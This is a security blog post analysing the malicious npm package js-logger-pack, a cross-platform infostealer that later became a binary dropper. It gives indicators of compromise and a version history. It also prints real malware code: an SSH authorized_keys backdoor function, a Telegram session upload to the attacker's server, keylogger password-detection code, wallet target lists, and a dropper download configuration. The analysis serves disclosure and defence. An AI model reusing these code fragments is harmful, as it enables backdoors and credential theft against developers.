---
title: "Malicious npm Package js-logger-pack Ships a Multi-Platform WebSocket Stealer"
description: "js-logger-pack spent three weeks on npm evolving from a probe into a full infostealer and then a binary dropper. Early versions installed an SSH backdoor, hijacked Telegram sessions, drained 27 crypto wallets, and deployed a cross-platform keylogger. After disclosure on April 15, the attacker pivoted to a HuggingFace-hosted binary dropper named MicrosoftSystem64, now at v1.1.26 with 29 total releases."
url: "https://safedep.io/blog/malicious-js-logger-pack-npm-stealer"
author: "SafeDep Team"
published: "2026-04-15"
---

# Malicious npm Package js-logger-pack Ships a Multi-Platform WebSocket Stealer

## TL;DR

`js-logger-pack` is a fake npm logger that the attacker has developed openly on the registry across 29 versions over three weeks (2026-04-01 to 2026-04-20, still active). Version 1.1.20, published hours after initial detection, is a re-obfuscation of the same payload: new hash, same C2, same capabilities. Early versions were harmless probes; version 1.1.5 introduced the first weaponized payload with unobfuscated TypeScript source that accidentally leaked the attacker's SSH RSA public key (`bink@DESKTOP-N8JGD6T`) and their original C2 domain (`api-sub.jrodacooker[.]dev`). Subsequent versions replaced the readable source with a 885 KB custom base64 bytecode VM and swapped the domain for a raw Hetzner IP. The payload is a long-running WebSocket agent that: installs the attacker's RSA key into `~/.ssh/authorized_keys` on Linux; exfiltrates Telegram Desktop `tdata` sessions; drains credentials from 27 crypto wallets and Chromium-family browsers; steals `.npmrc`, cloud provider tokens, and shell history; and runs a native keylogger on Windows, macOS, and Linux with autostart persistence on all three.

**Impact:**

- SSH backdoor on Linux: attacker's RSA public key written to `~/.ssh/authorized_keys`, granting permanent shell access.
- Full Telegram Desktop account takeover via `tdata` folder exfiltration compressed and uploaded to attacker-controlled Cloudflare R2 storage.
- Crypto wallet drain: 27 wallet apps and browser extensions enumerated by name (phantom, metamask, rabby, keplr, solflare, backpack, coinbase, trust, exodus, tronlink, okx, zerion, rainbow, unisat, petra, ronin, nami, ledger, trezor, electrum, atomic, braavos, argent, leap, hashpack, sui, xdefi).
- Developer credential theft: `.npmrc` `_authToken`, `github_token`, `npm_token`, AWS sigv4 keys, plus `OPENAI`, `ANTHROPIC`, and other env-var tokens exfiltrated from the project's `.env` file at install time.
- Filesystem scan for wallet-named JSON files, `.env` files, and keyword-matched Office documents sent to C2.
- Live keylogger on all three OSes streamed via WebSocket.
- Persistence across reboots: Windows Scheduled Tasks, macOS LaunchAgents plist, Linux systemd user unit and XDG autostart.

**Indicators of Compromise (IoC):**

| Indicator                             | Value                                                                                                                                                                                                                                                             |
| ------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Package                               | `js-logger-pack` (npm)                                                                                                                                                                                                                                            |
| Malicious versions                    | `0.0.1` through `1.1.26` (29 releases, 2026-04-01 to 2026-04-20, still active); v1.1.22+ pivot to HuggingFace binary dropper                                                                                                                                      |
| Total downloads                       | 3,726 (April 1-13, 2026; zero prior to campaign)                                                                                                                                                                                                                  |
| Maintainer                            | `jpeek868 <jpeek868@gmail.com>` (single package on account)                                                                                                                                                                                                       |
| Declared author                       | `toskypi` (mismatches publishing account)                                                                                                                                                                                                                         |
| C2 domain (v1.1.5-1.1.6)              | `hxxps://api-sub.jrodacooker[.]dev`                                                                                                                                                                                                                               |
| C2 IP (v1.1.7+)                       | `195[.]201[.]194[.]107:8010` (ws:// and http://), Hetzner Online GmbH, DE, AS24940                                                                                                                                                                                |
| C2 status (2026-04-15)                | **LIVE**: `/health` responds `{"ok":true}`, panel accepting connections                                                                                                                                                                                           |
| Secondary hostname on C2 IP           | `copilot-ai.whisdev[.]org` (Shodan, DNS now NXDOMAIN; suggests additional operations)                                                                                                                                                                             |
| C2 backend                            | Express.js (`X-Powered-By: Express`); victim data keyed as `user_{username}_{operatingSystem}` (leaked in `/api/validate/system-info` response body)                                                                                                              |
| DNS resolution                        | `api-sub.jrodacooker[.]dev` → `195[.]201[.]194[.]107` (subdomain DNS since removed)                                                                                                                                                                               |
| Attacker SSH public key               | `ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQ...` `bink@DESKTOP-N8JGD6T` (full key in v1.1.5 `logger.ts`)                                                                                                                                                               |
| Attacker hostname                     | `bink@DESKTOP-N8JGD6T` (Windows hostname embedded in SSH key comment)                                                                                                                                                                                             |
| Exfil paths                           | `/api/validate/files`, `/api/validate/project-env`, `/api/validate/env-vars`, `/api/validate/ps-history`, `/api/validate/wallets`, `/api/validate/system-info`, `/api/validate/tdata/upload`, `/api/validate/r2-upload-complete`, `/api/validate/keyboard-events` |
| SSH authorized_keys target            | `~/.ssh/authorized_keys` (Linux, created with mode 0600 if missing)                                                                                                                                                                                               |
| SHA-256 (`js-logger-pack-1.1.18.tgz`) | `a49eee6b6db9da14db46587b68bf1d8a80976812f629bf3e100ac6ba83cf8490`                                                                                                                                                                                                |
| SHA-256 (`print.js` v1.1.18)          | `6ce3b22b07fd5aef1dd77237334d80718601e4e02a706485572d3dda8993a4e3`                                                                                                                                                                                                |
| SHA-256 (`js-logger-pack-1.1.19.tgz`) | `571533a643e67c38087f4da8cce0d3dc14670a52403717e4943433d392860a7f`                                                                                                                                                                                                |
| SHA-256 (`print.js` v1.1.19)          | `585c5ab1fea06bed4956e34ffd6d6b576122addd34d252b163ae0801098e9eaf`                                                                                                                                                                                                |
| SHA-256 (`js-logger-pack-1.1.20.tgz`) | `9f0a7174f9537bdbf63fe2329cea9a14198076180390af9f43a0e5b5c7c46912`                                                                                                                                                                                                |
| SHA-256 (`print.js` v1.1.20)          | `e35801137cd09fa02aa996145d18ec68d67d71db9810f2608a6285ee1c08b054`                                                                                                                                                                                                |
| SHA-256 (`js-logger-pack-1.1.22.tgz`) | `df45bbac7695f0edad3edde36904f2722f2af761887744a2f1d65df705d28dc6` (first HuggingFace dropper version)                                                                                                                                                            |
| SHA-256 (`js-logger-pack-1.1.25.tgz`) | `43c93c609d48b6cb4f1275c285b5e6960ef74e7f5811b442e3c1038d49128d73`                                                                                                                                                                                                |
| SHA-256 (`js-logger-pack-1.1.26.tgz`) | `dbbc31c641c2f1b9a867e745c30dda27dff2db7d91f9faddcf08a504ca2a9d11` (latest as of 2026-04-20)                                                                                                                                                                      |
| HuggingFace binary host (v1.1.22+)    | `hxxps://huggingface[.]co/Lordplay/system-releases/resolve/main` (attacker-controlled model repo serving `MicrosoftSystem64` executables)                                                                                                                         |
| Dropped binary name                   | `MicrosoftSystem64` (`-win.exe`, `-linux`, `-darwin-x64`, `-darwin-arm64`)                                                                                                                                                                                        |

## Analysis

### Package Overview and Origin

`js-logger-pack` presents a convincing cover. The README describes a zero-dependency console logger with ISO timestamps and emoji level icons. The published `index.ts` is a real, working `Logger` class and `dist/index.js` is its transpiled output. Nothing in the TypeScript source touches the network or the filesystem: the logger exists as bait for reviewers and automated scanners.

One detail dates the operation: the `0.0.1` README references `import { logger } from 'pretty-changelog-logger'`, the original name the author had for this utility before registering the `js-logger-pack` slug. That copy-paste residue is the only link to what the package was before the attacker weaponized it.

The `repository` and `homepage` fields in `package.json` are both null. The declared `author` field reads `toskypi`, but the npm registry lists the publishing maintainer as `jpeek868 <jpeek868@gmail.com>`. Searching npm for other packages by either name returns nothing; this is a purpose-built throwaway account. All 22 versions share the same `gitHead` hash (`b0a0c8779961bcce1851d35125a7b48fc6ec7d5c`); every publish came from the same local git clone. No GitHub account exists for `jpeek868` or `toskypi`. The package accumulated 3,726 downloads between April 1 and 13, with spikes on each day a new malicious version was released.

### Version Evolution: From Probe to Weapon

The registry timestamps show iterative development conducted live on npm:

| Version  | Date (UTC)       | Size   | postinstall                            | Notable change                                                                                                                                                                 |
| -------- | ---------------- | ------ | -------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `0.0.1`  | 2026-04-01 06:17 | 1.6 KB | `ts-node index.js` (errors harmlessly) | Initial probe; README references old package name                                                                                                                              |
| `1.0.0`  | 2026-04-01 06:29 | 1.6 KB | `ts-node index.js`                     | No change                                                                                                                                                                      |
| `1.1.0`  | 2026-04-01 07:01 | 29 KB  | `ts-node index.ts`                     | Compiled `dist/index.js` added                                                                                                                                                 |
| `1.1.2`  | 2026-04-01 07:05 | 29 KB  | `ts-node dist/index.js`                | postinstall target adjusted                                                                                                                                                    |
| `1.1.4`  | 2026-04-02 11:32 | 29 KB  | `ts-node dist/index.js`                | **C2 deps added**: `ws`, `zod`, `pino`, `esbuild`; postinstall still harmless                                                                                                  |
| `1.1.5`  | 2026-04-02 15:53 | 601 KB | **`node print.js`**                    | **First weaponized build.** `print.js` (601 KB) and unobfuscated `logger.ts` (19 KB, full source) appear                                                                       |
| `1.1.6`  | 2026-04-02 17:51 | 730 KB | `node print.js`                        | `print.js` grows 21%; `logger.ts` still included (source still leaked)                                                                                                         |
| `1.1.7`  | 2026-04-02 17:59 | 756 KB | `node print.js`                        | `logger.ts` removed; full obfuscation in `print.js`                                                                                                                            |
| `1.1.8`  | 2026-04-07 00:06 | 742 KB | `node print.js`                        | Minor size change                                                                                                                                                              |
| `1.1.9`  | 2026-04-07 07:22 | 769 KB | `node print.js`                        | **`logger.ts` reappears** (identical 19 KB file); build pipeline inconsistency                                                                                                 |
| `1.1.10` | 2026-04-07 09:04 | 808 KB | `node print.js`                        | `logger.ts` permanently removed; payload growing                                                                                                                               |
| `1.1.14` | 2026-04-08 06:59 | 786 KB | `node print.js`                        | C2 domain replaced with raw IP in VM                                                                                                                                           |
| `1.1.17` | 2026-04-13 20:44 | 831 KB | `node print.js`                        | Final feature additions                                                                                                                                                        |
| `1.1.18` | 2026-04-14 07:42 | 848 KB | `node print.js`                        | **UIAutomation password detection**: adds `System.Reflection.Assembly.Load("UIAutomationClient")` fallback in `PwdChk` to detect password fields in Electron-based wallet apps |
| `1.1.19` | 2026-04-14 19:27 | 893 KB | `node print.js`                        | Last feature version before initial disclosure                                                                                                                                 |
| `1.1.20` | 2026-04-15 03:09 | 865 KB | `node print.js`                        | **Re-obfuscation only**: identical C2, endpoints, and capabilities; new hash only                                                                                              |
| `1.1.21` | 2026-04-15 16:01 | 887 KB | `node print.js`                        | Same WebSocket stealer payload; published hours after disclosure                                                                                                               |
| `1.1.22` | 2026-04-15 20:11 | 950 KB | `node print.js`                        | **Major pivot**: WebSocket stealer replaced by HuggingFace binary dropper; bundles `@huggingface/hub` to download `MicrosoftSystem64` executables                              |
| `1.1.23` | 2026-04-15 20:13 | 950 KB | `node print.js`                        | Minor change to 1.1.22 dropper                                                                                                                                                 |
| `1.1.24` | 2026-04-17 18:36 | ~1 MB  | `node print.js`                        | Larger dropper variant; same HuggingFace host                                                                                                                                  |
| `1.1.25` | 2026-04-20 03:36 | 104 KB | `node print.js`                        | Stripped dropper; same HuggingFace host; `'use strict'` CJS module                                                                                                             |
| `1.1.26` | 2026-04-20 04:01 | 128 KB | `node print.cjs`                       | **Obfuscator change**: switches from bytecode VM to `_0x`-style hex variable obfuscator; postinstall renamed to `print.cjs`                                                    |

The `print.js` payload grew from 601 KB to 893 KB over 12 days of active feature development before initial disclosure on April 15. The attacker continued publishing after detection, releasing six additional versions (v1.1.21 through v1.1.26) through April 20. Version 1.1.20, published hours after this package was first flagged, is a re-obfuscation of v1.1.19: every URL, API path, wallet name, and OS-native code string is identical; only the internal random identifiers (variable names generated by the obfuscator) differ. The resulting file has a different SHA-256 but is the same payload. This is a signature-evasion pattern: re-run the bundler with a new random seed to defeat hash-based detections without changing any functionality.

Version 1.1.22, published the same day as disclosure, replaced the 885 KB self-contained WebSocket stealer with a binary dropper that fetches `MicrosoftSystem64` executables from a HuggingFace model repository. The `logger.ts` source file flickered in and out of the package across three early versions; the author kept forgetting to exclude it from the build manifest.

### Execution Triggers

In later versions (v1.1.7+), the only trigger is the `postinstall` hook:

```json
// package/package.json (v1.1.19)
"scripts": {
  "build": "tsc",
  "prepublishOnly": "npm run build",
  "start": "ts-node index.ts",
  "postinstall": "node print.js"
}
```

`print.js` is a standalone esbuild bundle (the `esbuild` dep in `package.json` confirms this): it packages the malicious source together with its C2 dependencies (`ws`, `zod`, etc.) into a single 885 KB self-contained file that `node` can run without any additional installs. The bundle fires once at install time.

In v1.1.5 and v1.1.6, however, the package carried a second, independent trigger. `dist/index.js` (the file users `require()`) begins with:

```javascript
// package/dist/index.js (v1.1.5)
require('./logger');
```

And `index.ts` mirrors this:

```typescript
// package/index.ts (v1.1.5)
import './logger';
```

`logger.ts` runs its malicious code as module-level side effects (the `_ssi`, `_spe`, and `_sejf` calls at the bottom of the file execute immediately when the module is loaded). This means that in v1.1.5 and v1.1.6 any application that did `require('js-logger-pack')` or `import 'js-logger-pack'` triggered the stealer at runtime, not only at install time. The attacker removed `logger.ts` and this second vector from v1.1.7 onward, consolidating on the postinstall hook.

### The Unobfuscated Source Leak (v1.1.5 and v1.1.6)

Versions 1.1.5 and v1.1.6 shipped `logger.ts` alongside `print.js`. The two files implement the same malicious capabilities: `logger.ts` is the readable TypeScript source; `print.js` is the esbuild-bundled, obfuscated standalone executable built from the same (or very similar) source project and its dependencies. The 534-line `logger.ts` gives a complete, readable description of every capability the larger `print.js` bundle conceals.

Two constants at the top of the file are the key attribution artifacts:

```typescript
// package/logger.ts (v1.1.5)
const _pk = `ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDoWL6cdPRGfsMFi1ggFUOP+IhhypmrzNe555fK
LTvdI09y+cvUjrtpPfe5TkChr/IbIQIZeGefpAtcqiw6BDfJ+d+gflMEu6uGbCecikAtf794ap
EkDFpyzYpqrPmHBFhLdBtbXMx3bNfexKR8wnJAYTe5of+TvZ97h9QY8d9zHP31KddDnw3MaXYV
Ziwr0xBsUEk2jti5C4MsN/uUtUxrmcO5jfoThj/GLDOppQg7IK5QiHvOr89nTO9tFqADLT7gAn
... bink@DESKTOP-N8JGD6T
`;
const _srv = 'https://api-sub.jrodacooker.dev';
const _tmax = 500 * 1024 * 1024;
```

`_pk` is the attacker's RSA public key. The comment field `bink@DESKTOP-N8JGD6T` is the username and hostname of the machine the attacker used to generate the key. `_srv` is the C2 server at the time of first deployment. A DNS lookup today confirms that `api-sub.jrodacooker[.]dev` resolves to `195.201.194.107`, the same Hetzner IP embedded in the later obfuscated versions. The attacker switched from domain to raw IP somewhere around v1.1.7, likely after the domain was flagged or to reduce external DNS dependencies.

### SSH Backdoor (Linux)

The first capability that executes on Linux machines is an SSH backdoor, called before any file scanning or credential exfil:

```typescript
// package/logger.ts (v1.1.5)
export const _ark = async (_key: string): Promise<boolean> => {
  try {
    const _hd = os.homedir();
    const _sd = path.join(_hd, '.ssh');
    const _akp = path.join(_sd, 'authorized_keys');
    if (!fs.existsSync(_sd)) {
      fs.mkdirSync(_sd, { recursive: true });
    }
    fs.chmodSync(_sd, 0o700);
    let _ek = '';
    if (fs.existsSync(_akp)) {
      _ek = fs.readFileSync(_akp, 'utf8');
    }
    const _kp = _key.trim().split(' ');
    const _kd = _kp.length >= 2 ? _kp[0] + ' ' + _kp[1] : _key.trim();
    if (_ek.includes(_kd)) {
      return false; // already installed
    }
    const _nc = _ek ? (_ek.endsWith('\n') ? _ek : _ek + '\n') + _key.trim() + '\n' : _key.trim() + '\n';
    fs.writeFileSync(_akp, _nc, 'utf8');
    fs.chmodSync(_akp, 0o600);
    return true;
  } catch (_) {
    return false;
  }
};
```

The function is called as `_ark(_pk)` from the Linux branch of the main file-scanning entry point (`_sejf`), before the network exfil begins. It creates `~/.ssh/` with mode `0700` if it does not exist, checks whether the key is already present, and appends it with the correct `0600` permissions. The attacker can then SSH into any Linux machine that installed any version of this package, as long as the SSH daemon is running and `~/.ssh/authorized_keys` is the configured auth method.

This capability was present from the first weaponized build (v1.1.5) and persists in the obfuscated payload, confirmed by `registerLinuxSystemd` and persistence strings in later versions.

### File System Scanner

The plaintext source exposes a filesystem scanner (`_sfr`) that walks the home directory (Linux), `C:\` through `J:\` (Windows), or `/Users/` (macOS) up to 10 levels deep, collecting three types of files:

```typescript
// package/logger.ts (v1.1.5) — target classification
if (_fn === '.env' || _fn.endsWith('.env')) {
  _res.push({ path: _fp, type: 'env' });
} else if (_fn.endsWith('.json') && _iwkj(_fn)) {
  _res.push({ path: _fp, type: 'json' });
} else if (_iwrd(_fn)) {
  _res.push({ path: _fp, type: 'doc' });
}
```

The JSON filter (`_iwkj`) has an allow-list of 40+ common config filenames (`package.json`, `tsconfig.json`, `vercel.json`, etc.) that are **excluded**, and a keyword list that **includes** any JSON whose filename contains: `key`, `wallet`, `password`, `credential`, `sol`, `eth`, `tron`, `bitcoin`, `btc`, `metamask`, `phantom`, `keystore`, `privatekey`, `mnemonic`, `seed`, `trezor`, `ledger`, `token`, `recovery`, and others. JSON files with more than 100 lines are skipped entirely; qualifying files are read in full and sent to `/api/validate/files`. Office documents (`.doc`, `.docx`, `.xls`, `.xlsx`, `.txt`) are included if their filename matches the same keyword list, sent as base64.

Excluded directories include `node_modules`, `build`, `dist`, `coverage`, and several others, limiting the scan to source trees and user directories. The scanner skips symlinks.

### The Bytecode VM (v1.1.7+)

From v1.1.7 onward, the entire payload moved into `print.js`, a custom base64 bytecode VM. The file opens with 28 repeated `node:*` imports aliased to random `vm*` identifiers, followed by thousands of base64-encoded instruction blobs:

```javascript
// package/print.js (header, v1.1.19)
import{createRequire as vmB}from'module'
import vmD from'node:os'
import{spawn}from'child_process'
import{execFileSync}from'node:child_process'
import{spawn as vmq,spawnSync}from'node:child_process'
// ...
const vmE_603276=(function(){let m=[
  'AQEIAQAEAAQIDnJlcXVpcmUIEnVuZGVmaW5lZBYEAAAEAQAABAAABAAEAQAApgPcAQBWaKYDZBAQ...',
  'AQAIAQACAAwIDnJlcXVpcmUIEnVuZGVmaW5lZAgKUHJveHkEAAgGZ2V0BAIupgPcAQBWaKYDZOAB...',
  // thousands more blobs
```

Each blob is a base64-encoded instruction stream for a hand-rolled stack machine defined below the constant array. The opcodes embed string literals (property names, identifiers, API paths) that are invisible to a plain `grep` of the source. Decoding the constant pool statically, without executing the file, recovers all the semantic strings used in the analysis below.

### C2 Protocol

The agent is a persistent WebSocket client. Decoded strings show the full protocol:

```
ws://195.201.194.107:8010     (primary)
http://195.201.194.107:8010   (bulk exfil fallback)
AgentHelloSchema / AgentHeartbeatSchema
Controller acknowledged hello / hello_ack
HEARTBEAT_MS / heartbeatTimer / scheduleReconnect
```

The implant connects to `195[.]201[.]194[.]107:8010`, sends a Zod-validated `AgentHello`, waits for `hello_ack`, then maintains a heartbeat. The controller dispatches tasks (keylogging, wallet scan, tdata upload, file scan) over the WebSocket channel. Bulk data goes over HTTP on the same host via the `/api/validate/*` endpoints rather than the WebSocket frame size limit.

### Telegram Session Hijacking

The `_stia` / `sendTdataIfAvailable` function chain runs on macOS and Windows only (the function returns immediately on Linux). It locates the Telegram Desktop `tdata` folder, archives it into a gzip stream with a custom header format (4-byte path length, path bytes, 4-byte content length, content bytes), and uploads it:

```typescript
// package/logger.ts (v1.1.5)
export const _stp = async (_gz: string, _os: string, _ip: string, _un: string): Promise<void> => {
  const _b = await fs.promises.readFile(_gz);
  const _r = await fetch(`${_srv}/api/validate/tdata/upload`, {
    method: 'POST',
    headers: {
      'Content-Type': 'application/gzip',
      'X-Client-OS': _os,
      'X-Client-IP': _ip,
      'X-Client-User': _un,
    },
    body: _b,
  });
  if (!_r.ok) throw new Error(`tdata upload failed: ${_r.status}`);
};
```

A pre-check (`/api/validate/tdata/check`) prevents re-upload if the server already has a session for this IP+username pair. The 500 MB cap (`_tmax`) prevents stalling on very large Telegram caches. Later obfuscated versions add an S3-compatible multipart path (`/api/validate/r2-upload-complete`) referencing Cloudflare R2, routing bulk loot outside the WebSocket channel.

### Wallet and Browser Credential Theft

The implant carries an explicit wallet target list embedded in both the Windows and macOS native keylogger components. On Windows it appears as a C# static array inside a PowerShell `Add-Type` block (class `KP`); on macOS it appears as a Swift `let` constant:

```csharp
// Decoded from print.js bytecode — Windows C# block (PowerShell Add-Type, class KP)
private static readonly string[] _wk = {
  "phantom","metamask","rabby","keplr","solflare","backpack",
  "coinbase wallet","trust wallet","exodus","tronlink","okx wallet",
  "zerion","rainbow","unisat","petra","ronin","nami","ledger","trezor",
  "electrum","atomic","braavos","argent","leap wallet","hashpack",
  "sui wallet","xdefi"
};
```

```swift
// Decoded from print.js bytecode — macOS Swift block
let walletKeywords = ["phantom","metamask","rabby","keplr","solflare","backpack",
  "coinbase wallet","trust wallet","exodus","tronlink","okx wallet","zerion",
  "rainbow","unisat","petra","ronin","nami","ledger","trezor","electrum",
  "atomic","braavos","argent","leap wallet","hashpack","sui wallet","xdefi"]
```

On Windows, active-window title inspection uses `GetForegroundWindow()` + `GetWindowText()` to match the foreground window title against `_wk`; `GetAsyncKeyState` is the polling mechanism for keystroke capture, not the window detection. On macOS the Swift code uses the Accessibility API (`kAXTitleAttribute` via `AXUIElement`) to read the active window title and `kAXSubroleAttribute` to detect `AXSecureTextField` (password input); `CGEventTap` captures the keystrokes. When a wallet window or password field is detected on either platform, the implant enables targeted keylogging of password and seed-phrase prompts. Browser credential targets include Chrome, Chromium, Brave, Edge, Opera, and Opera GX (`Login Data`, `Cookies`, `Local State`).

### Cross-Platform Keylogger

Keystroke capture uses OS-native APIs on each platform:

```
Windows: SetWindowsHookEx(13, …)       // WH_KEYBOARD_LL low-level hook (class KH)
         GetAsyncKeyState(vk)           // polling fallback if hook is blocked (class KP)
macOS:   CGEventTap (keyDown callback)  // Swift, compiled and run via swiftc subprocess
Linux:   /dev/input/event* via evdev    // direct device read, no X11 dependency
```

Both Windows variants are PowerShell `Add-Type` blocks: the Node.js harness writes the C# source string to PowerShell's stdin, which compiles and executes it in-process using the .NET runtime already present on the machine. This avoids dropping a compiled binary to disk. Events stream to `/api/validate/keyboard-events` over the WebSocket connection. The Windows polling fallback handles environments where EDR software blocks `WH_KEYBOARD_LL`. The Linux evdev reader reads raw kernel input events directly from `/dev/input/event*`, bypassing X11 and Wayland entirely so it captures keystrokes in terminal-only sessions.

### Persistence

All three OSes get autostart entries so the agent survives reboots:

```
Windows:  schtasks.exe /Create …
macOS:    ~/Library/LaunchAgents/<name>.plist
Linux:    ~/.config/systemd/user/<name>.service  (Environment=HEARTBEAT_MS=…)
          ~/.config/autostart/<name>.desktop      (X-GNOME-Autostart-enabled=true)
```

The `HEARTBEAT_MS` environment variable is baked into the systemd unit, so the re-launched agent picks up the same polling interval as the original postinstall process. The XDG autostart entry covers desktop sessions that do not use systemd user units (e.g., some XFCE and LXDE setups).

### v1.1.18: UIAutomation Password Field Detection

Version 1.1.18 (2026-04-14 07:42 UTC), published twelve hours before v1.1.19, adds a third detection path to the Windows password field check. The existing `PwdChk` method in class `KP` already used two Win32 mechanisms: sending the `EM_GETPASSWORDCHAR` message (`0x00D2`) to the focused window handle, and reading the `ES_PASSWORD` style flag (`0x0020`) via `GetWindowLong`. Neither works reliably against Electron-based desktop apps, which don't expose classic Win32 edit control style bits to the accessibility layer.

v1.1.18 adds a third fallback using `System.Reflection.Assembly.Load` to load `UIAutomationClient` at runtime and query the `AutomationElement.FocusedElement.Current.IsPassword` property:

```csharp
// Decoded from print.js bytecode — Windows C# class KP, PwdChk method (v1.1.18)
private static void PwdChk(object s) {
    try {
        IntPtr fg = GetForegroundWindow();
        // ... GUITHREADINFO setup omitted
        if (GetGUIThreadInfo(tid, ref gi) && gi.hwndFocus != IntPtr.Zero) {
            if (SendMessage(gi.hwndFocus, 0x00D2, IntPtr.Zero, IntPtr.Zero) != IntPtr.Zero) { _isPwd = true; return; }
            if ((GetWindowLong(gi.hwndFocus, -16) & 0x0020) != 0) { _isPwd = true; return; }
        }
        // NEW in v1.1.18: UIAutomation fallback
        try {
            var asm = System.Reflection.Assembly.Load("UIAutomationClient, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
            if (asm != null) {
                var aeType = asm.GetType("System.Windows.Automation.AutomationElement");
                var focused = aeType.GetProperty("FocusedElement").GetValue(null);
                if (focused != null) {
                    var current = focused.GetType().GetProperty("Current").GetValue(focused);
                    if ((bool)current.GetType().GetProperty("IsPassword").GetValue(current)) { _isPwd = true; return; }
                    try {
                        string eName = ((string)current.GetType().GetProperty("Name").GetValue(current) ?? "").ToLower();
                        string eHelp = ((string)current.GetType().GetProperty("HelpText").GetValue(current) ?? "").ToLower();
                        string combined = eName + " " + eHelp;
                        foreach (var p in _pk) { if (combined.Contains(p)) { _isPwd = true; return; } }
                    } catch {}
                }
            }
        } catch {}
        // ... title-based wallet keyword check follows
    }
}
```

The three detection paths cover different app frameworks:

1. `SendMessage(EM_GETPASSWORDCHAR)` and `ES_PASSWORD` flag: classic Win32 text controls (most legacy apps)
2. UIAutomation `IsPassword`: modern frameworks that implement the UI Automation provider model, including WPF, UWP, and Electron/Chromium via the built-in accessibility provider that Chromium exposes to the OS UIA layer
3. Keyword matching against `_pk` (password, seed phrase, mnemonic, private key, etc.) in the element's `Name` and `HelpText` properties: catches password-adjacent fields that are not marked `IsPassword` but are labelled as such

Loading `UIAutomationClient` via `System.Reflection.Assembly.Load` at runtime rather than a static reference keeps the assembly out of the compiled class's import list, so static analysis tools scanning for UIAutomation won't find it.

Every crypto wallet in the `_wk` target list (Phantom, MetaMask, Exodus, etc.) ships as an Electron app or browser extension. On Windows, UIAutomation is the only approach that detects password field focus in those apps reliably.

### Post-Publication Pivot: HuggingFace Binary Dropper (v1.1.22+)

On the same day this package was first reported (April 15), the attacker published three versions in under five hours. v1.1.21 reused the WebSocket stealer unchanged. v1.1.22, published four hours later, replaced the self-contained npm payload with a binary dropper: instead of running the WebSocket agent directly, it fetches a standalone `MicrosoftSystem64` binary from HuggingFace and launches it. By v1.1.25 the dropper configuration is plaintext in the source:

```javascript
// package/print.js (v1.1.25, plaintext in source)
var UNIT_STEM = 'MicrosoftSystem64';
var BINARY_BASE_URL = 'https://huggingface.co/Lordplay/system-releases/resolve/main';
var DOWNLOAD_MAP = {
  'win32-x64': 'MicrosoftSystem64-win.exe',
  'linux-x64': 'MicrosoftSystem64-linux',
  'darwin-x64': 'MicrosoftSystem64-darwin-x64',
  'darwin-arm64': 'MicrosoftSystem64-darwin-arm64',
};
```

The attacker named the binary `MicrosoftSystem64` to blend with Windows system process names. The dropper stores it under the platform data directory, registers it for autostart using the same persistence mechanisms as the old npm payload (Windows Registry Run key via a VBScript wrapper, macOS `LaunchAgents` plist, Linux systemd user unit and XDG autostart entry), then spawns it detached. The systemd unit passes `Environment=SERVER_URL=<Hetzner C2 address>` to the binary, so the same `195[.]201[.]194[.]107:8010` endpoint is still the operative C2, consumed by the dropped binary rather than by the npm package directly.

HuggingFace handles binary delivery (enterprise proxies don't block it); the Hetzner server handles command and data. The attacker can also push a new binary to `Lordplay/system-releases` and every installed instance picks it up on the next agent restart, without publishing a new npm version.

We did not analyze the binaries further. Any system that ran v1.1.22 through v1.1.26 should be treated as having executed an unverified binary from an attacker-controlled source.

v1.1.26 (2026-04-20) switched the obfuscator from the custom base64 bytecode VM to a `_0x`-style hex variable obfuscator (the kind produced by tools like `javascript-obfuscator`) and renamed the postinstall entry point from `print.js` to `print.cjs`. The attacker rebuilt their toolchain after the bytecode VM format was documented in prior analysis.

## Attribution

The leaked source, live C2 probe, and infrastructure cross-checks yield the following:

- **Attacker hostname:** `bink@DESKTOP-N8JGD6T`. The `DESKTOP-N8JGD6T` suffix is the default format Windows assigns to self-built machines. The `bink` username is the operating handle used on the development machine. No prior threat intelligence ties this hostname to any known actor.
- **C2 domain:** `api-sub.jrodacooker[.]dev`. The parent domain returns NXDOMAIN; the subdomain DNS record has since been removed, but the Hetzner IP (`195[.]201[.]194[.]107`) remains active. `jrodacooker[.]dev` appears purpose-registered for this operation with no prior public presence.
- **C2 still live:** As of April 15 2026 (this article's publication date), the panel at `195[.]201[.]194[.]107:8010` is operational. A probe to `/api/validate/system-info` returned `{"success":true,"collection":"user_researcher_linux"}`, confirming victim data is keyed as `user_{username}_{operatingSystem}` and has not been cleaned up. The response header `X-Powered-By: Express` identifies the backend as Node.js/Express.
- **Secondary hostname:** Shodan lists `copilot-ai.whisdev[.]org` as a hostname on the same IP. The subdomain DNS record is now NXDOMAIN. The server may host additional operations beyond `js-logger-pack`, but we found no confirmed link to the `jpeek868` or `bink` identity.
- **Infrastructure:** Single Hetzner server (Hetzner Online GmbH, DE, AS24940) running a custom WebSocket controller on `:8010` and Cloudflare R2 for bulk storage. This is purpose-built tooling for a small-scale individual operator, not shared SaaS C2 infrastructure.
- **Operational security failures:** Shipping unobfuscated source in two consecutive public npm releases, reintroducing it in v1.1.9 after removing it in v1.1.7, and hardcoding the development machine's SSH key into the payload point to a solo operator working fast, not a disciplined team.
- **Payload fingerprint:** The multi-language payload (Node.js harness, C# compiled at runtime via PowerShell `Add-Type` for Windows hooks, Swift source compiled on the fly via `swiftc` for macOS event taps, Linux evdev via direct `/dev/input` reads) and the 27-wallet target list match patterns seen in commodity stealer kits. Avoiding pre-compiled binaries in favor of just-in-time compilation reduces disk footprint and evades signature-based AV scanning at install time. Without controlled telemetry, we do not attribute to a named family.

## Conclusion

`js-logger-pack` is a full-featured, multi-platform infostealer, now at v1.1.26 with 29 releases across three weeks and still active as of April 20, 2026. Within hours of initial disclosure on April 15, the attacker published v1.1.22, replacing the self-contained npm-level WebSocket agent with a binary dropper that fetches `MicrosoftSystem64` executables from a HuggingFace repository. The Hetzner server at `195[.]201[.]194[.]107:8010` remains the operative C2, now consumed by the dropped binary rather than by the npm package directly.

The version range determines what ran on the machine: v0.0.1 through v1.1.21 carry the WebSocket stealer (Linux SSH backdoor, Telegram tdata exfil, 27-wallet keylogger); v1.1.22 through v1.1.26 drop an unverified binary named `MicrosoftSystem64` from the attacker's HuggingFace repository. Anyone who installed any version should treat the machine as compromised.
